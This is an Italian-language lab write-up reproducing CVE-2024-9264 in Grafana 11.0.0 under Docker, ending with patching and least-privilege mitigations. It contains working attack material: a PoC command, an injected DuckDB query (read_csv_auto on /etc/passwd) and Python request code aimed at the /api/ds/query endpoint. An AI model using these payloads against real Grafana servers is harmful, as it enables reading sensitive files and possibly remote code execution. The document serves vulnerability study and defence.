
PoC exploit per CVE-2024-9264: vulnerabilità dell'espressione SQL di Grafana che consente l'inclusione di file locali e l'esecuzione di codice remoto tramite SQL injection in DuckDB. Include configurazione del laboratorio Docker e script exploit Python.
Documenti di riferimento https://github.com/vulhub/vulhub/tree/master/grafana/CVE-2024-9264
| Elemento | Descrizione |
|---|---|
| CVE | CVE-2024-9264 |
| Target | Grafana (SQL Expressions) |
| Impatto | Local File Inclusion (LFI), Remote Code Execution (RCE) |
| Gravità | Critico (CVSS 9.9) |
| Condizioni d'attacco | Utente autenticato (privilegi di Admin) |
| Metodo d'attacco | Abuso della funzionalità SQL Expression per eseguire DuckDB SQL |
Grafana è uno strumento di monitoraggio open source che visualizza vari dati provenienti da server, applicazioni, database, ecc., sotto forma di grafici o dashboard facili da leggere.
CVE-2024-9264 è una vulnerabilità che si verifica nella funzionalità SQL Expressions di Grafana.
Poiché DuckDB SQL utilizzato internamente da Grafana non viene convalidato adeguatamente, un attaccante può eseguire DuckDB SQL arbitrario tramite SQL Expression.
Ciò consente di:
In questo laboratorio, dopo aver eseguito Grafana 11.0.0 in ambiente Docker, abbiamo riprodotto la vulnerabilità utilizzando un PoC per leggere il file /etc/passwd.
| Configurazione | Descrizione |
|---|---|
| SO | Ubuntu |
| Docker | Docker Compose |
| Grafana | 11.0.0 |
git clone https://github.com/yeonchoda/CVE-2024-9264
cd CVE-2024-9264
docker-compose up
Verifica dell'esecuzione di Grafana
http://localhost:3000

Le credenziali predefinite di Grafana sono le seguenti.
ID : admin
PW : admin
Affinché la vulnerabilità si verifichi, devono essere soddisfatte le seguenti condizioni.
In questo laboratorio è stato utilizzato l'account amministratore predefinito (admin/admin).
Esecuzione del PoC
Per leggere un file locale è stato eseguito il seguente comando.
python3 PoC.py -u http://localhost:3000 -f "/etc/passwd"
Il PoC crea la seguente SQL Expression.
SELECT * FROM read_csv_auto('/etc/passwd')
Questa viene inviata all'API /api/ds/query di Grafana.
Grafana ha eseguito la SQL così com'è, restituendo nella risposta il contenuto di /etc/passwd.

Oltre al file /etc/passwd è possibile leggere anche altri file.

Ciò conferma che il Local File Inclusion è stato eseguito con successo.
Il PoC è scritto in Python ed esegue i seguenti passaggi.
/api/ds/query)La SQL generata per la lettura del file è la seguente.
sql_query = f"SELECT * FROM read_csv_auto('{args.file}')"
La richiesta API viene eseguita come segue.
response = requests.post(
api_url,
auth=(username, password),
headers=headers,
data=json.dumps(payload),
verify=False
)
Questo può essere verificato anche con il comando curl.

La misura più efficace è aggiornare all'ultima versione in cui la vulnerabilità è stata corretta.
Disabilitare le funzionalità SQL Expressions non necessarie o applicare il principio del minimo privilegio per limitarne l'ambito di utilizzo.
Dopo aver configurato Grafana 11.0.0 in ambiente Docker, è stata riprodotta la vulnerabilità CVE-2024-9264.
Utilizzando un PoC scritto in Python, è stato possibile abusare della funzionalità SQL Expression e leggere con successo il file /etc/passwd. Ciò dimostra che, in assenza di una corretta convalida dell'input nelle SQL Expression, possono essere esposti file sensibili e, a seconda dell'ambiente, ciò può portare anche all'esecuzione remota di codice.
Tali vulnerabilità possono essere prevenute tramite misure di sicurezza come l'aggiornamento all'ultima versione, la limitazione della funzionalità SQL Expression e la protezione degli account amministratore.